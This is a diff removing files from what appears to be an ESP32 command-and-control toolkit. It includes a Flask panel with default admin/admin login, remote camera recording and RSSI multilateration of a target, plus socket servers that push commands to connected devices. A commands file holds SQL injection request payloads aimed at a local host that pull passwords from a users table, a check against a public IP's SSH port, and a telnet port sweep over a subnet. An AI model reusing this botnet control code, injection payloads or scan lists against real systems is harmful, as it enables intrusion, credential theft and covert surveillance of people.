||||||
|
|
||||||
def __init__(self,
|
|
||||||
host: str = "0.0.0.0",
|
|
||||||
port: int = 8000,
|
|
||||||
image_dir: str = "static/streams",
|
|
||||||
username: str = "admin",
|
|
||||||
password: str = "admin",
|
|
||||||
secret_key: str = "change_this_for_prod",
|
|
||||||
multilat_token: str = "multilat_secret_token",
|
|
||||||
device_registry=None,
|
|
||||||
mlat_engine: Optional[MlatEngine] = None,
|
|
||||||
camera_receiver=None):
|
|
||||||
"""
|
|
||||||
Initialize the unified web server.
|
|
||||||
|
|
||||||
Args:
|
|
||||||
host: Host to bind the server
|
|
||||||
port: Port for the web server
|
|
||||||
image_dir: Directory containing camera frame images
|
|
||||||
username: Login username
|
|
||||||
password: Login password
|
|
||||||
secret_key: Flask session secret key
|
|
||||||
multilat_token: Bearer token for MLAT API
|
|
||||||
device_registry: DeviceRegistry instance for device listing
|
|
||||||
mlat_engine: MlatEngine instance (created if None)
|
|
||||||
camera_receiver: UDPReceiver instance for camera control
|
|
||||||
"""
|
|
||||||
self.host = host
|
|
||||||
self.port = port
|
|
||||||
self.image_dir = image_dir
|
|
||||||
self.username = username
|
|
||||||
self.password = password
|
|
||||||
self.secret_key = secret_key
|
|
||||||
self.multilat_token = multilat_token
|
|
||||||
self.device_registry = device_registry
|
|
||||||
self.mlat = mlat_engine or MlatEngine()
|
|
||||||
self.camera_receiver = camera_receiver
|
|
||||||
|
|
||||||
# Ensure image directory exists
|
|
||||||
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
|
||||||
full_image_dir = os.path.join(c2_root, self.image_dir)
|
|
||||||
os.makedirs(full_image_dir, exist_ok=True)
|
|
||||||
|
|
||||||
self._app = self._create_app()
|
|
||||||
self._server = None
|
|
||||||
self._thread = None
|
|
||||||
|
|
||||||
def set_camera_receiver(self, receiver):
|
|
||||||
"""Set the camera receiver after initialization."""
|
|
||||||
self.camera_receiver = receiver
|
|
||||||
|
|
||||||
@property
|
|
||||||
def is_running(self) -> bool:
|
|
||||||
return self._thread is not None and self._thread.is_alive()
|
|
||||||
|
|
||||||
def _create_app(self) -> Flask:
|
|
||||||
"""Create and configure the Flask application."""
|
|
||||||
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
|
||||||
template_dir = os.path.join(c2_root, "templates")
|
|
||||||
static_dir = os.path.join(c2_root, "static")
|
|
||||||
|
|
||||||
app = Flask(__name__,
|
|
||||||
template_folder=template_dir,
|
|
||||||
static_folder=static_dir)
|
|
||||||
app.secret_key = self.secret_key
|
|
||||||
|
|
||||||
web_server = self
|
|
||||||
|
|
||||||
# ========== Auth Decorators ==========
|
|
||||||
|
|
||||||
def require_login(f):
|
|
||||||
@wraps(f)
|
|
||||||
def decorated(*args, **kwargs):
|
|
||||||
if not session.get("logged_in"):
|
|
||||||
return redirect(url_for("login"))
|
|
||||||
return f(*args, **kwargs)
|
|
||||||
return decorated
|
|
||||||
|
|
||||||
def require_api_auth(f):
|
|
||||||
@wraps(f)
|
|
||||||
def decorated(*args, **kwargs):
|
|
||||||
if session.get("logged_in"):
|
|
||||||
return f(*args, **kwargs)
|
|
||||||
|
|
||||||
auth_header = request.headers.get("Authorization", "")
|
|
||||||
if auth_header.startswith("Bearer "):
|
|
||||||
token = auth_header[7:]
|
|
||||||
if token == web_server.multilat_token:
|
|
||||||
return f(*args, **kwargs)
|
|
||||||
|
|
||||||
return jsonify({"error": "Unauthorized"}), 401
|
|
||||||
return decorated
|
|
||||||
|
|
||||||
# ========== Auth Routes ==========
|
|
||||||
|
|
||||||
@app.route("/login", methods=["GET", "POST"])
|
|
||||||
def login():
|
|
||||||
error = None
|
|
||||||
if request.method == "POST":
|
|
||||||
username = request.form.get("username")
|
|
||||||
password = request.form.get("password")
|
|
||||||
if username == web_server.username and password == web_server.password:
|
|
||||||
session["logged_in"] = True
|
|
||||||
return redirect(url_for("dashboard"))
|
|
||||||
else:
|
|
||||||
error = "Invalid credentials."
|
|
||||||
return render_template("login.html", error=error)
|
|
||||||
|
|
||||||
@app.route("/logout")
|
|
||||||
def logout():
|
|
||||||
session.pop("logged_in", None)
|
|
||||||
return redirect(url_for("login"))
|
|
||||||
|
|
||||||
# ========== Page Routes ==========
|
|
||||||
|
|
||||||
@app.route("/")
|
|
||||||
@require_login
|
|
||||||
def index():
|
|
||||||
return redirect(url_for("dashboard"))
|
|
||||||
|
|
||||||
@app.route("/dashboard")
|
|
||||||
@require_login
|
|
||||||
def dashboard():
|
|
||||||
return render_template("dashboard.html", active_page="dashboard")
|
|
||||||
|
|
||||||
@app.route("/cameras")
|
|
||||||
@require_login
|
|
||||||
def cameras():
|
|
||||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
|
||||||
try:
|
|
||||||
image_files = sorted([
|
|
||||||
f for f in os.listdir(full_image_dir)
|
|
||||||
if f.endswith(".jpg")
|
|
||||||
])
|
|
||||||
except FileNotFoundError:
|
|
||||||
image_files = []
|
|
||||||
|
|
||||||
return render_template("cameras.html", active_page="cameras", image_files=image_files)
|
|
||||||
|
|
||||||
@app.route("/mlat")
|
|
||||||
@require_login
|
|
||||||
def mlat():
|
|
||||||
return render_template("mlat.html", active_page="mlat")
|
|
||||||
|
|
||||||
# ========== Static Files ==========
|
|
||||||
|
|
||||||
@app.route("/streams/<filename>")
|
|
||||||
@require_login
|
|
||||||
def stream_image(filename):
|
|
||||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
|
||||||
return send_from_directory(full_image_dir, filename)
|
|
||||||
|
|
||||||
@app.route("/recordings/<filename>")
|
|
||||||
@require_login
|
|
||||||
def download_recording(filename):
|
|
||||||
recordings_dir = os.path.join(c2_root, "static", "recordings")
|
|
||||||
return send_from_directory(recordings_dir, filename, as_attachment=True)
|
|
||||||
|
|
||||||
# ========== Device API ==========
|
|
||||||
|
|
||||||
@app.route("/api/devices")
|
|
||||||
@require_api_auth
|
|
||||||
def api_devices():
|
|
||||||
if web_server.device_registry is None:
|
|
||||||
return jsonify({"error": "Device registry not available", "devices": []})
|
|
||||||
|
|
||||||
now = time.time()
|
|
||||||
devices = []
|
|
||||||
|
|
||||||
for d in web_server.device_registry.all():
|
|
||||||
devices.append({
|
|
||||||
"id": d.id,
|
|
||||||
"ip": d.address[0] if d.address else "unknown",
|
|
||||||
"port": d.address[1] if d.address else 0,
|
|
||||||
"status": d.status,
|
|
||||||
"connected_at": d.connected_at,
|
|
||||||
"last_seen": d.last_seen,
|
|
||||||
"connected_for_seconds": round(now - d.connected_at, 1),
|
|
||||||
"last_seen_ago_seconds": round(now - d.last_seen, 1)
|
|
||||||
})
|
|
||||||
|
|
||||||
return jsonify({
|
|
||||||
"devices": devices,
|
|
||||||
"count": len(devices)
|
|
||||||
})
|
|
||||||
|
|
||||||
# ========== Camera API ==========
|
|
||||||
|
|
||||||
@app.route("/api/cameras")
|
|
||||||
@require_api_auth
|
|
||||||
def api_cameras():
|
|
||||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
|
||||||
try:
|
|
||||||
cameras = [
|
|
||||||
f.replace(".jpg", "")
|
|
||||||
for f in os.listdir(full_image_dir)
|
|
||||||
if f.endswith(".jpg")
|
|
||||||
]
|
|
||||||
except FileNotFoundError:
|
|
||||||
cameras = []
|
|
||||||
|
|
||||||
# Add recording status if receiver available
|
|
||||||
result = {"cameras": [], "count": len(cameras)}
|
|
||||||
for cam_id in cameras:
|
|
||||||
cam_info = {"id": cam_id, "recording": False}
|
|
||||||
if web_server.camera_receiver:
|
|
||||||
status = web_server.camera_receiver.get_recording_status(cam_id)
|
|
||||||
cam_info["recording"] = status.get("recording", False)
|
|
||||||
cam_info["filename"] = status.get("filename")
|
|
||||||
result["cameras"].append(cam_info)
|
|
||||||
|
|
||||||
result["count"] = len(result["cameras"])
|
|
||||||
return jsonify(result)
|
|
||||||
|
|
||||||
# ========== Recording API ==========
|
|
||||||
|
|
||||||
@app.route("/api/recording/start/<camera_id>", methods=["POST"])
|
|
||||||
@require_api_auth
|
|
||||||
def api_recording_start(camera_id):
|
|
||||||
if not web_server.camera_receiver:
|
|
||||||
return jsonify({"error": "Camera receiver not available"}), 503
|
|
||||||
|
|
||||||
result = web_server.camera_receiver.start_recording(camera_id)
|
|
||||||
if "error" in result:
|
|
||||||
return jsonify(result), 400
|
|
||||||
return jsonify(result)
|
|
||||||
|
|
||||||
@app.route("/api/recording/stop/<camera_id>", methods=["POST"])
|
|
||||||
@require_api_auth
|
|
||||||
def api_recording_stop(camera_id):
|
|
||||||
if not web_server.camera_receiver:
|
|
||||||
return jsonify({"error": "Camera receiver not available"}), 503
|
|
||||||
|
|
||||||
result = web_server.camera_receiver.stop_recording(camera_id)
|
|
||||||
if "error" in result:
|
|
||||||
return jsonify(result), 400
|
|
||||||
return jsonify(result)
|
|
||||||
|
|
||||||
@app.route("/api/recording/status")
|
|
||||||
@require_api_auth
|
|
||||||
def api_recording_status():
|
|
||||||
if not web_server.camera_receiver:
|
|
||||||
return jsonify({"error": "Camera receiver not available"}), 503
|
|
||||||
|
|
||||||
camera_id = request.args.get("camera_id")
|
|
||||||
return jsonify(web_server.camera_receiver.get_recording_status(camera_id))
|
|
||||||
|
|
||||||
@app.route("/api/recordings")
|
|
||||||
@require_api_auth
|
|
||||||
def api_recordings_list():
|
|
||||||
if not web_server.camera_receiver:
|
|
||||||
return jsonify({"recordings": []})
|
|
||||||
|
|
||||||
return jsonify({"recordings": web_server.camera_receiver.list_recordings()})
|
|
||||||
|
|
||||||
# ========== Trilateration API ==========
|
|
||||||
|
|
||||||
@app.route("/api/mlat/collect", methods=["POST"])
|
|
||||||
@require_api_auth
|
|
||||||
def api_mlat_collect():
|
|
||||||
raw_data = request.get_data(as_text=True)
|
|
||||||
count = web_server.mlat.parse_data(raw_data)
|
|
||||||
|
|
||||||
if count > 0:
|
|
||||||
web_server.mlat.calculate_position()
|
|
||||||
|
|
||||||
return jsonify({
|
|
||||||
"status": "ok",
|
|
||||||
"readings_processed": count
|
|
||||||
})
|
|
||||||
|
|
||||||
@app.route("/api/mlat/state")
|
|
||||||
@require_api_auth
|
|
||||||
def api_mlat_state():
|
|
||||||
state = web_server.mlat.get_state()
|
|
||||||
|
|
||||||
if state["target"] is None and state["scanners_count"] >= 3:
|
|
||||||
result = web_server.mlat.calculate_position()
|
|
||||||
if "position" in result:
|
|
||||||
state["target"] = {
|
|
||||||
"position": result["position"],
|
|
||||||
"confidence": result.get("confidence", 0),
|
|
||||||
"calculated_at": result.get("calculated_at", time.time()),
|
|
||||||
"age_seconds": 0
|
|
||||||
}
|
|
||||||
|
|
||||||
return jsonify(state)
|
|
||||||
|
|
||||||
@app.route("/api/mlat/config", methods=["GET", "POST"])
|
|
||||||
@require_api_auth
|
|
||||||
def api_mlat_config():
|
|
||||||
if request.method == "POST":
|
|
||||||
data = request.get_json() or {}
|
|
||||||
web_server.mlat.update_config(
|
|
||||||
rssi_at_1m=data.get("rssi_at_1m"),
|
|
||||||
path_loss_n=data.get("path_loss_n"),
|
|
||||||
smoothing_window=data.get("smoothing_window")
|
|
||||||
)
|
|
||||||
|
|
||||||
return jsonify({
|
|
||||||
"rssi_at_1m": web_server.mlat.rssi_at_1m,
|
|
||||||
"path_loss_n": web_server.mlat.path_loss_n,
|
|
||||||
"smoothing_window": web_server.mlat.smoothing_window
|
|
||||||
})
|
|
||||||
|
|
||||||
@app.route("/api/mlat/clear", methods=["POST"])
|
|
||||||
@require_api_auth
|
|
||||||
def api_mlat_clear():
|
|
||||||
web_server.mlat.clear()
|
|
||||||
return jsonify({"status": "ok"})
|
|
||||||
|
|
||||||
# ========== Stats API ==========
|
|
||||||
|
|
||||||
@app.route("/api/stats")
|
|
||||||
@require_api_auth
|
|
||||||
def api_stats():
|
|
||||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
|
||||||
try:
|
|
||||||
camera_count = len([
|
|
||||||
f for f in os.listdir(full_image_dir)
|
|
||||||
if f.endswith(".jpg")
|
|
||||||
])
|
|
||||||
except FileNotFoundError:
|
|
||||||
camera_count = 0
|
|
||||||
|
|
||||||
device_count = 0
|
|
||||||
if web_server.device_registry:
|
|
||||||
device_count = len(list(web_server.device_registry.all()))
|
|
||||||
|
|
||||||
multilat_state = web_server.mlat.get_state()
|
|
||||||
|
|
||||||
return jsonify({
|
|
||||||
"active_cameras": camera_count,
|
|
||||||
"connected_devices": device_count,
|
|
||||||
"multilateration_scanners": multilat_state["scanners_count"],
|
|
||||||
"server_running": True
|
|
||||||
})
|
|
||||||
|
|
||||||
return app
|
|
||||||
|
|
||||||
def start(self) -> bool:
|
|
||||||
"""Start the web server in a background thread."""
|
|
||||||
if self.is_running:
|
|
||||||
return False
|
|
||||||
|
|
||||||
self._server = make_server(self.host, self.port, self._app, threaded=True)
|
|
||||||
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
|
|
||||||
self._thread.start()
|
|
||||||
return True
|
|
||||||
|
|
||||||
def stop(self):
|
|
||||||
"""Stop the web server."""
|
|
||||||
if self._server:
|
|
||||||
self._server.shutdown()
|
|
||||||
self._server = None
|
|
||||||
self._thread = None
|
|
||||||
|
|
||||||
def get_url(self) -> str:
|
|
||||||
"""Get the server URL."""
|
|
||||||
return f"http://{self.host}:{self.port}"
|
|
||||||
@ -1,14 +0,0 @@
|
|||||||
# Command & Controll
|
|
||||||
|
|
||||||
Code refacto dans .tools/c2 a finir Trilateration -> multilateration
|
|
||||||
|
|
||||||
Run c3po.py and ur c2 are up on port 2626 u can edit it on /utils/constant.py
|
|
||||||
|
|
||||||
Je dois faire cette doc
|
|
||||||
|
|
||||||
( J'ai refacto le code dans [Click Here](../c2/README.md))
|
|
||||||
|
|
||||||
## Authors
|
|
||||||
|
|
||||||
- @off-path (Main dev c2)
|
|
||||||
- @Eun0us (Trillateration implementation + proto buff)
|
|
||||||
@ -1,162 +0,0 @@
|
|||||||
import base64
|
|
||||||
import socket
|
|
||||||
import threading
|
|
||||||
import os
|
|
||||||
from utils.espilon_pb2 import ESPMessage, C2Command
|
|
||||||
from utils.chacha20 import crypt
|
|
||||||
from utils.manager import add_to_group, remove_group, remove_esp_from_group
|
|
||||||
from utils.utils import _print_status, _find_client
|
|
||||||
from utils.reboot import reboot
|
|
||||||
from utils.cli import _setup_cli, _color, cli_interface
|
|
||||||
from tools.c2.utils.constant import HOST, PORT, COMMANDS
|
|
||||||
|
|
||||||
from utils.message_process import process_esp_message
|
|
||||||
|
|
||||||
|
|
||||||
class C2Server:
|
|
||||||
def __init__(self):
|
|
||||||
self.clients = {}
|
|
||||||
self.groups = {}
|
|
||||||
|
|
||||||
self.clients_ids = {}
|
|
||||||
|
|
||||||
# For response synchronization
|
|
||||||
self.response_events = {}
|
|
||||||
self.response_data = {}
|
|
||||||
|
|
||||||
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
||||||
self.server.bind((HOST, PORT))
|
|
||||||
self.server.listen(5)
|
|
||||||
|
|
||||||
_setup_cli(self)
|
|
||||||
self._start_server()
|
|
||||||
|
|
||||||
# ---------- Core Server Functions ----------
|
|
||||||
def _start_server(self):
|
|
||||||
print(f"\n{_color('GREEN')}[*] Server is listening on {HOST}:{PORT}{_color('RESET')}")
|
|
||||||
threading.Thread(target=self._accept_clients, daemon=True).start()
|
|
||||||
cli_interface(self)
|
|
||||||
|
|
||||||
def _accept_clients(self):
|
|
||||||
while True:
|
|
||||||
client_socket, client_address = self.server.accept()
|
|
||||||
threading.Thread(target=self._handle_client, args=(client_socket, client_address)).start()
|
|
||||||
|
|
||||||
def _handle_client(self, client_socket, client_address):
|
|
||||||
self._close_existing_client(client_address)
|
|
||||||
self.clients[client_address] = client_socket
|
|
||||||
_print_status(f"New client connected : {client_address}", "GREEN")
|
|
||||||
|
|
||||||
# Initialize event for this client
|
|
||||||
self.response_events[client_address] = threading.Event()
|
|
||||||
self.response_data[client_address] = None
|
|
||||||
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
message = client_socket.recv(4096)
|
|
||||||
if not message:
|
|
||||||
break
|
|
||||||
|
|
||||||
try:
|
|
||||||
process_esp_message(self, client_address, message)
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
print(f"Error during decryption: {e}")
|
|
||||||
continue
|
|
||||||
|
|
||||||
except (ConnectionResetError, BrokenPipeError):
|
|
||||||
break
|
|
||||||
|
|
||||||
_print_status(f"Client {client_address} disconnected", "RED")
|
|
||||||
self.clients.pop(client_address, None)
|
|
||||||
if client_address in self.response_events:
|
|
||||||
del self.response_events[client_address]
|
|
||||||
if client_address in self.response_data:
|
|
||||||
del self.response_data[client_address]
|
|
||||||
client_socket.close()
|
|
||||||
|
|
||||||
# ---------- Client Management ----------
|
|
||||||
def _close_existing_client(self, client_address):
|
|
||||||
if client_address in self.clients:
|
|
||||||
self.clients[client_address].close()
|
|
||||||
del self.clients[client_address]
|
|
||||||
_print_status(f"Client {client_address} disconnected", "RED")
|
|
||||||
|
|
||||||
|
|
||||||
# ---------- CLI Interface ----------
|
|
||||||
def _complete(self, text, state):
|
|
||||||
if text.startswith("reboot "):
|
|
||||||
options = [addr[0] for addr in self.clients.keys() if addr[0].startswith(text[7:])]
|
|
||||||
options.append("all")
|
|
||||||
options.extend(self.groups.keys())
|
|
||||||
elif text.startswith("add_group "):
|
|
||||||
options = [addr[0] for addr in self.clients.keys() if addr[0].startswith(text[10:])]
|
|
||||||
elif text.startswith("remove_group "):
|
|
||||||
options = [group for group in self.groups.keys() if group.startswith(text[13:])]
|
|
||||||
elif text.startswith("remove_esp_from "):
|
|
||||||
parts = text.split()
|
|
||||||
if len(parts) >= 2 and parts[1] in self.groups:
|
|
||||||
options = self.groups[parts[1]]
|
|
||||||
else:
|
|
||||||
options = [cmd for cmd in COMMANDS if cmd.startswith(text)]
|
|
||||||
|
|
||||||
return options[state] if state < len(options) else None
|
|
||||||
|
|
||||||
def _handle_reboot(self, parts):
|
|
||||||
if len(parts) != 2:
|
|
||||||
_print_status("Invalid command. Use 'reboot <id_esp32>', 'reboot all', or 'reboot <group>'", "RED", "⚠")
|
|
||||||
return
|
|
||||||
|
|
||||||
target = parts[1]
|
|
||||||
if target == "all":
|
|
||||||
reboot(self, mode="all")
|
|
||||||
elif target in self.groups:
|
|
||||||
reboot(self, target, mode="group")
|
|
||||||
else:
|
|
||||||
client = _find_client(self, target)
|
|
||||||
if client:
|
|
||||||
reboot(self, client, mode="single")
|
|
||||||
else:
|
|
||||||
_print_status(f"Client with ID {target} not found", "RED", "⚠")
|
|
||||||
|
|
||||||
def _handle_add_group(self, parts):
|
|
||||||
if len(parts) != 3:
|
|
||||||
_print_status("Invalid command. Use 'add_group <group> <id_esp32>'", "RED", "⚠")
|
|
||||||
return
|
|
||||||
|
|
||||||
group_name, client_id = parts[1], parts[2]
|
|
||||||
client = _find_client(self, client_id)
|
|
||||||
|
|
||||||
if client:
|
|
||||||
add_to_group(self, group_name, client)
|
|
||||||
else:
|
|
||||||
_print_status(f"Client with ID {client_id} not found", "RED", "⚠")
|
|
||||||
|
|
||||||
def _handle_remove_group(self, parts):
|
|
||||||
if len(parts) != 2:
|
|
||||||
_print_status(" Invalid command. Use 'remove_group <group>'", "RED", "⚠")
|
|
||||||
return
|
|
||||||
remove_group(self, parts[1])
|
|
||||||
|
|
||||||
def _handle_remove_esp_from(self, parts):
|
|
||||||
if len(parts) < 3:
|
|
||||||
_print_status(" Invalid command. Use 'remove_esp_from <group> <esp>[,<esp>...]'", "RED", "⚠")
|
|
||||||
return
|
|
||||||
|
|
||||||
group_name = parts[1]
|
|
||||||
esp_list = []
|
|
||||||
for part in parts[2:]:
|
|
||||||
esp_list.extend(part.split(','))
|
|
||||||
|
|
||||||
remove_esp_from_group(self, group_name, esp_list)
|
|
||||||
|
|
||||||
def _shutdown(self):
|
|
||||||
_print_status(" Closing server ...", "YELLOW", "✋")
|
|
||||||
for client in list(self.clients.values()):
|
|
||||||
client.close()
|
|
||||||
self.server.close()
|
|
||||||
os._exit(0)
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
C2Server()
|
|
||||||
@ -1,31 +0,0 @@
|
|||||||
from dataclasses import dataclass, field
|
|
||||||
import socket
|
|
||||||
import time
|
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
|
||||||
class Device:
|
|
||||||
"""
|
|
||||||
Représente un ESP32 connecté au serveur
|
|
||||||
"""
|
|
||||||
id: str
|
|
||||||
sock: socket.socket
|
|
||||||
address: tuple[str, int]
|
|
||||||
|
|
||||||
connected_at: float = field(default_factory=time.time)
|
|
||||||
last_seen: float = field(default_factory=time.time)
|
|
||||||
|
|
||||||
def touch(self):
|
|
||||||
"""
|
|
||||||
Met à jour la date de dernière activité
|
|
||||||
"""
|
|
||||||
self.last_seen = time.time()
|
|
||||||
|
|
||||||
def close(self):
|
|
||||||
"""
|
|
||||||
Ferme proprement la connexion
|
|
||||||
"""
|
|
||||||
try:
|
|
||||||
self.sock.close()
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
@ -1,67 +0,0 @@
|
|||||||
import threading
|
|
||||||
from typing import Dict, List, Optional
|
|
||||||
from core.device import Device
|
|
||||||
|
|
||||||
|
|
||||||
class DeviceRegistry:
|
|
||||||
"""
|
|
||||||
Registre central des ESP connectés.
|
|
||||||
Clé primaire : esp_id
|
|
||||||
"""
|
|
||||||
def __init__(self):
|
|
||||||
self._devices: Dict[str, Device] = {}
|
|
||||||
self._lock = threading.Lock()
|
|
||||||
|
|
||||||
# ---------- Gestion des devices ----------
|
|
||||||
|
|
||||||
def add(self, device: Device) -> None:
|
|
||||||
"""
|
|
||||||
Ajoute ou remplace un device (reconnexion)
|
|
||||||
"""
|
|
||||||
with self._lock:
|
|
||||||
self._devices[device.id] = device
|
|
||||||
|
|
||||||
def remove(self, esp_id: str) -> None:
|
|
||||||
"""
|
|
||||||
Supprime un device par ID
|
|
||||||
"""
|
|
||||||
with self._lock:
|
|
||||||
device = self._devices.pop(esp_id, None)
|
|
||||||
if device:
|
|
||||||
device.close()
|
|
||||||
|
|
||||||
def get(self, esp_id: str) -> Optional[Device]:
|
|
||||||
"""
|
|
||||||
Récupère un device par ID
|
|
||||||
"""
|
|
||||||
with self._lock:
|
|
||||||
return self._devices.get(esp_id)
|
|
||||||
|
|
||||||
def all(self) -> List[Device]:
|
|
||||||
"""
|
|
||||||
Retourne la liste de tous les devices
|
|
||||||
"""
|
|
||||||
with self._lock:
|
|
||||||
return list(self._devices.values())
|
|
||||||
|
|
||||||
def ids(self) -> List[str]:
|
|
||||||
"""
|
|
||||||
Retourne la liste des IDs ESP (pour CLI / tabulation)
|
|
||||||
"""
|
|
||||||
with self._lock:
|
|
||||||
return list(self._devices.keys())
|
|
||||||
|
|
||||||
# ---------- Utilitaires ----------
|
|
||||||
|
|
||||||
def exists(self, esp_id: str) -> bool:
|
|
||||||
with self._lock:
|
|
||||||
return esp_id in self._devices
|
|
||||||
|
|
||||||
def touch(self, esp_id: str) -> None:
|
|
||||||
"""
|
|
||||||
Met à jour last_seen d’un ESP
|
|
||||||
"""
|
|
||||||
with self._lock:
|
|
||||||
device = self._devices.get(esp_id)
|
|
||||||
if device:
|
|
||||||
device.touch()
|
|
||||||
@ -1,5 +0,0 @@
|
|||||||
192.168.1.155:5000|GET /search?id=1%20UNION%20SELECT%20NULL,NULL,password%20FROM%20users HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
|
||||||
192.168.1.155:5000|GET /login?user=admin&pass=%27%20OR%201%3D1%20--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
|
||||||
192.168.1.155:5000|GET /search?q=%27%20UNION%20SELECT%20NULL--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
|
||||||
192.168.1.155:5000|GET /product?id=1%27%20AND%201%3DCONVERT%28int%2C@@version%29--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
|
||||||
82.67.142.175:22|SSH_CHECK
|
|
||||||
@ -1,64 +0,0 @@
|
|||||||
import socket
|
|
||||||
import threading
|
|
||||||
import time
|
|
||||||
|
|
||||||
clients = {}
|
|
||||||
lock = threading.Lock()
|
|
||||||
|
|
||||||
def load_all_commands(filename="commands.txt"):
|
|
||||||
try:
|
|
||||||
with open(filename, "r") as f:
|
|
||||||
return [line.strip() for line in f if line.strip()]
|
|
||||||
except FileNotFoundError:
|
|
||||||
print(f"[!] File {filename} not found.")
|
|
||||||
return []
|
|
||||||
|
|
||||||
def handle_client(client_socket, address):
|
|
||||||
client_id = f"{address[0]}:{address[1]}"
|
|
||||||
print(f"[+] New client connected : {client_id}")
|
|
||||||
|
|
||||||
with lock:
|
|
||||||
clients[client_id] = client_socket
|
|
||||||
|
|
||||||
commands = load_all_commands()
|
|
||||||
|
|
||||||
try:
|
|
||||||
for cmd in commands:
|
|
||||||
print(f"[→] Send to {client_id} : {cmd}")
|
|
||||||
client_socket.sendall((cmd + "\n").encode())
|
|
||||||
|
|
||||||
# Attente de la réponse du client avant de continuer
|
|
||||||
data = client_socket.recv(4096)
|
|
||||||
if not data:
|
|
||||||
print(f"[!] Client {client_id} has closed connexion.")
|
|
||||||
break
|
|
||||||
print(f"[←] Résponse from {client_id} : {data.decode(errors='ignore')}")
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
print(f"[!] Error with {client_id} : {e}")
|
|
||||||
|
|
||||||
finally:
|
|
||||||
with lock:
|
|
||||||
if client_id in clients:
|
|
||||||
del clients[client_id]
|
|
||||||
client_socket.close()
|
|
||||||
print(f"[-] Client disconnected : {client_id}")
|
|
||||||
|
|
||||||
def accept_connections(server_socket):
|
|
||||||
while True:
|
|
||||||
client_socket, addr = server_socket.accept()
|
|
||||||
threading.Thread(target=handle_client, args=(client_socket, addr), daemon=True).start()
|
|
||||||
|
|
||||||
def start_server(host="0.0.0.0", port=2021):
|
|
||||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
server.bind((host, port))
|
|
||||||
server.listen(5)
|
|
||||||
print(f"[Server] Listening on {host}:{port}")
|
|
||||||
|
|
||||||
threading.Thread(target=accept_connections, args=(server,), daemon=True).start()
|
|
||||||
|
|
||||||
while True:
|
|
||||||
time.sleep(1)
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
start_server()
|
|
||||||
@ -1,254 +0,0 @@
|
|||||||
192.168.1.1:23|PORT_CHECK
|
|
||||||
192.168.1.2:23|PORT_CHECK
|
|
||||||
192.168.1.3:23|PORT_CHECK
|
|
||||||
192.168.1.4:23|PORT_CHECK
|
|
||||||
192.168.1.5:23|PORT_CHECK
|
|
||||||
192.168.1.6:23|PORT_CHECK
|
|
||||||
192.168.1.7:23|PORT_CHECK
|
|
||||||
192.168.1.8:23|PORT_CHECK
|
|
||||||
192.168.1.9:23|PORT_CHECK
|
|
||||||
192.168.1.10:23|PORT_CHECK
|
|
||||||
192.168.1.11:23|PORT_CHECK
|
|
||||||
192.168.1.12:23|PORT_CHECK
|
|
||||||
192.168.1.13:23|PORT_CHECK
|
|
||||||
192.168.1.14:23|PORT_CHECK
|
|
||||||
192.168.1.15:23|PORT_CHECK
|
|
||||||
192.168.1.16:23|PORT_CHECK
|
|
||||||
192.168.1.17:23|PORT_CHECK
|
|
||||||
192.168.1.18:23|PORT_CHECK
|
|
||||||
192.168.1.19:23|PORT_CHECK
|
|
||||||
192.168.1.20:23|PORT_CHECK
|
|
||||||
192.168.1.21:23|PORT_CHECK
|
|
||||||
192.168.1.22:23|PORT_CHECK
|
|
||||||
192.168.1.23:23|PORT_CHECK
|
|
||||||
192.168.1.24:23|PORT_CHECK
|
|
||||||
192.168.1.25:23|PORT_CHECK
|
|
||||||
192.168.1.26:23|PORT_CHECK
|
|
||||||
192.168.1.27:23|PORT_CHECK
|
|
||||||
192.168.1.28:23|PORT_CHECK
|
|
||||||
192.168.1.29:23|PORT_CHECK
|
|
||||||
192.168.1.30:23|PORT_CHECK
|
|
||||||
192.168.1.31:23|PORT_CHECK
|
|
||||||
192.168.1.32:23|PORT_CHECK
|
|
||||||
192.168.1.33:23|PORT_CHECK
|
|
||||||
192.168.1.34:23|PORT_CHECK
|
|
||||||
192.168.1.35:23|PORT_CHECK
|
|
||||||
192.168.1.36:23|PORT_CHECK
|
|
||||||
192.168.1.37:23|PORT_CHECK
|
|
||||||
192.168.1.38:23|PORT_CHECK
|
|
||||||
192.168.1.39:23|PORT_CHECK
|
|
||||||
192.168.1.40:23|PORT_CHECK
|
|
||||||
192.168.1.41:23|PORT_CHECK
|
|
||||||
192.168.1.42:23|PORT_CHECK
|
|
||||||
192.168.1.43:23|PORT_CHECK
|
|
||||||
192.168.1.44:23|PORT_CHECK
|
|
||||||
192.168.1.45:23|PORT_CHECK
|
|
||||||
192.168.1.46:23|PORT_CHECK
|
|
||||||
192.168.1.47:23|PORT_CHECK
|
|
||||||
192.168.1.48:23|PORT_CHECK
|
|
||||||
192.168.1.49:23|PORT_CHECK
|
|
||||||
192.168.1.50:23|PORT_CHECK
|
|
||||||
192.168.1.51:23|PORT_CHECK
|
|
||||||
192.168.1.52:23|PORT_CHECK
|
|
||||||
192.168.1.53:23|PORT_CHECK
|
|
||||||
192.168.1.54:23|PORT_CHECK
|
|
||||||
192.168.1.55:23|PORT_CHECK
|
|
||||||
192.168.1.56:23|PORT_CHECK
|
|
||||||
192.168.1.57:23|PORT_CHECK
|
|
||||||
192.168.1.58:23|PORT_CHECK
|
|
||||||
